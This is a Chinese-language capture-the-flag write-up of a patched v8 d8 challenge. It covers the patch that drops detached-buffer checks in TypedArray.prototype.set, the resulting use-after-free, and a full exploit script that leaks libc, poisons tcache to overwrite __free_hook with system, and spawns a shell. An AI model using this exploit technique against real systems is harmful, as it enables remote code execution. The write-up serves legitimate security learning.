Chromiun RCE

这是第一次在比赛的过程中遇到了v8的题目,相对比较简单,纪念一下。

Description

image-20200629110347120

It’s v8, but it’s not a typical v8, it’s CTF v8! Please enjoy pwning this d8 :)

1
nc pwnable.org 40404

Attachment here

Enviroment: Ubuntu18.04

Update: If you want to build one for debugging, please
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

做题的时候并没有太在意这个描述,解出来之后发现说的挺对的: D。hash是之后补上的,补之前还在纳闷怎么找是哪个版本…

Patch

关于搭建环境的部分就略过了,可以参考之前的文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
// 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
// 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
// exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);

const overloadedArg = arguments[0];
try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
// 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
// 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
// exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+ v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}

- isolate->SetHostImportModuleDynamicallyCallback(
- Shell::HostImportModuleDynamically);
- isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ // `import("xx")` is not allowed

#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
// This needs to be a critical section since this is not thread-safe
base::MutexGuard lock_guard(context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr,
+ ObjectTemplate::New(isolate));
DCHECK(!context.IsEmpty());
if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
isolate->SetWasmLoadSourceMapCallback(ReadFile);
diff --git a/src/parsing/parser-base.h b/src/parsing/parser-base.h
index 3519599a88..f1ba0fb445 100644
--- a/src/parsing/parser-base.h
+++ b/src/parsing/parser-base.h
@@ -1907,10 +1907,8 @@ ParserBase<Impl>::ParsePrimaryExpression() {
return ParseTemplateLiteral(impl()->NullExpression(), beg_pos, false);

case Token::MOD:
- if (flags().allow_natives_syntax() || extension_ != nullptr) {
- return ParseV8Intrinsic();
- }
- break;
+ // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+ return ParseV8Intrinsic();

default:
break;
diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 9577b37397..2206d250d7 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -357,6 +357,11 @@ Expression* Parser::NewV8Intrinsic(const AstRawString* name,
const Runtime::Function* function =
Runtime::FunctionForName(name->raw_data(), name->length());

+ // Only %ArrayBufferDetach allowed
+ if (function->function_id != Runtime::kArrayBufferDetach) {
+ return factory()->NewUndefinedLiteral(kNoSourcePosition);
+ }
+
// Be more permissive when fuzzing. Intrinsics are not supported.
if (FLAG_fuzzing) {
return NewV8RuntimeFunctionForFuzzing(function, args, pos);

patch中比较关键的部分就是关于Attached检查的部分:

1
2
-    const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);

可以看到原本的代码是有检查的,修改之后变成了默认都是Attached的状态。

之后的patch主要是避免非预期,例如删去了import的功能,还有就是删去了--allow-native-syntax的支持,这样%DebugPrint和%SystemBreak都不可以使用了。但是%ArrayBufferDetach是可以直接使用的。估计题目附件中的d8是一个阉割版的debug version。

Vuln

首先验证一下read import等非预期解法是不可行的。事实上在题目环境中,直接读flag文件是不可能的,只有root权限可以读,但是提供了一个suid的readflag二进制,这就相当于强迫要求拿到rce。

为了方便调试,可以删去对``–allow-native-syntax`的patch,这样就可以快乐debug了。

漏洞点还是很明显的,显然在于是否是Attached的状态的混用。

正常情况下,我们去声明一个Uint8Array,这是一个typed array,其有对应的buffer,如:

1
2
var a = new Uint8Array(0x200);
// a.buffer: chunk on glibc heap space

这里的a.buffer就是我们熟知的ArrayBuffer。其对应的内存空间也就是ArrayBuffer的backing_store指针指向的空间,用gdb调一下就知道,该空间是glibc的堆空间上的一个堆块。当我们使用%ArrayBufferDetach去detach一个buffer时,该buffer也就被释放掉了,也就是backing_store指向的堆块被释放掉了。由于环境是ubuntu 1804,该堆块也就进入tcache了。

1
2
var a = new Uint8Array(0x200);
%ArrayBufferDetach(a.buffer); // into tcache

而在之前的patch中,删去了对于是否是Attached状态的检查,默认都是Attached。这样我们就可以读写freed chunk了!

It’s v8, but it’s not a typical v8, it’s CTF v8! Please enjoy pwning this d8 :)

确实,你以为我是browser pwn,其实我是glibc heap哒。

Exploit

利用起来就比较容易了。

第一步,泄露地址。释放大的堆块进入unsortedbin,读取array,可以拿到堆地址和libc地址。

第二步,tcache dup改hook。同样用uaf把tcache的fd改为free_hook。有一个坑点在于,ArrayBuffer在分配的时候使用calloc分配的,但是calloc不用tcache。可以找到这样的写法使得Array使用malloc分配内存:

1
2
3
let a = {};
a.length = size; // malloc的大小
return new Uint8Array(a);

这样就可以使用malloc了,拿到free_hook的array,写入system地址。

第三步:用%ArrayBufferDetach释放一个保存了/bin/sh字符串的array。相当于执行system('/bin/sh')

完整exploit脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
function gc(){
for(var i = 0; i < 1024 * 1024* 16; i++){
new String;
}
}

function f2i(f){
float64 = new Float64Array(1);
float64[0] = f;
int32 = new Uint32Array(float64.buffer);
return int32[1] * 0x100000000 + int32[0];
}

function i2f(i){
int32 = new Uint32Array(2);
int32[1] = i / 0x100000000;
int32[0] = i % 0x100000000;
float64 = new Float64Array(int32.buffer);
return float64[0];
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}

// ArrayBuffer use calloc so tcache won't be used
function calloc(size){
var a = new Uint8Array(size);
return a;
}

function malloc(size){
var a = {};
a.length = size;
var b = new Uint8Array(a);
return b;
}

// free(array.buffer)
function free(a){
return %ArrayBufferDetach(a);
}

function b2i(a){
var b = new BigUint64Array(a.buffer);
return b[0];
}



/* function check for malloc/calloc/free
var c0 = calloc(0x200);
%DebugPrint(c0.buffer);
free(c0.buffer);
%SystemBreak();
var c1 = malloc(0x200);
%DebugPrint(c1.buffer);
%SystemBreak();
*/

// try to free a binsh chunk
// binsh: 2f62696e2f7368
var binsh_chunk = new Uint8Array(0x200);
binsh_chunk[7] = 0x00;
binsh_chunk[6] = 0x68;
binsh_chunk[5] = 0x73;
binsh_chunk[4] = 0x2f;
binsh_chunk[3] = 0x6e;
binsh_chunk[2] = 0x69;
binsh_chunk[1] = 0x62;
binsh_chunk[0] = 0x2f;
//%DebugPrint(binsh_chunk.buffer);


var overchunk = calloc(0x3000);
var c0 = calloc(0x800);
var c1 = calloc(0x800);
//%DebugPrint(c0.buffer);
//%DebugPrint(c1.buffer);
free(c0.buffer);
free(c1.buffer);
//%SystemBreak();
overchunk.set(c1);
var heap_leak = b2i(overchunk.slice(0, 8));
var libc_leak = b2i(overchunk.slice(8, 16)); // main_arena+96
console.log('libc_leak: '+hex(libc_leak));
var libc_base = libc_leak-0x00007f7f8e78dca0n+0x7f7f8e3a2000n
console.log('libc_base: '+hex(libc_base));
/*
========== function ==========
system:0x4f440
execve:0xe4e30
open:0x7a0ce0
read:0x7a0340
write:0x7a0270
gets:0x800b0
setcontext+0x35:0x520a5
========== variables ==========
__malloc_hook(0x3ebc30) : 0x0000000000000000
__free_hook(0x3ed8e8) : 0x0000000000000000
__realloc_hook(0x3ebc28) : 0x00007fc640ebb790
stdin(0x3ec850) : 0x00007fc64120ea00
stdout(0x3ec848) : 0x00007fc64120f760
_IO_list_all(0x3ec660) : 0x00007fc64120f680
__after_morecore_hook(0x3ed8e0) : 0x0000000000000000
*/
var free_hook = libc_base+0x3ed8e8n
console.log('free_hook: '+hex(free_hook));
var system = libc_base+0x4f440n
console.log('system: '+hex(system));

// tcache dup to free_hook
var c2 = calloc(0x200);
var c3 = calloc(0x200);
%DebugPrint(c3.buffer);
free(c2.buffer);
free(c3.buffer);

function i2l(i){
var b = new Uint8Array(BigUint64Array.from([i]).buffer);
return b;
}

c3.set(i2l(free_hook)); // fd->free_hook

// change free_hook to system
var c4 = malloc(0x200);
var c5 = malloc(0x200); // got free_hook
c5.set(i2l(system)); // free_hook = system
console.log('Trigger!')
free(binsh_chunk.buffer);

//%SystemBreak();

前面gc几个函数没用到。

RCE!

image-20200629114014579

在之前做过的题目中,有oob有jit,就是没有uaf,这次齐全了。看起来UAF的利用要更简单,没有addrof fakeobj之类的步骤。如果是其他的object,有虚表的话直接覆盖函数指针也是极好的。

不过比赛的时候也就止步于此了 : D, 后边的SBX需要编译Chrome,估计磁盘不够用。FullChain需要SBX作为前置步骤。

这次比赛的Pwn题目都比较硬核:

image-20200629114401971

这个题目竟然是最简单的。大佬们2个小时就做出来了,可见是有多熟练…

总共11道PWN题目,其中5道题目是browser/js的题目,看来是要引领一波浏览器的浪潮了。期待看到更多的d8伯😃。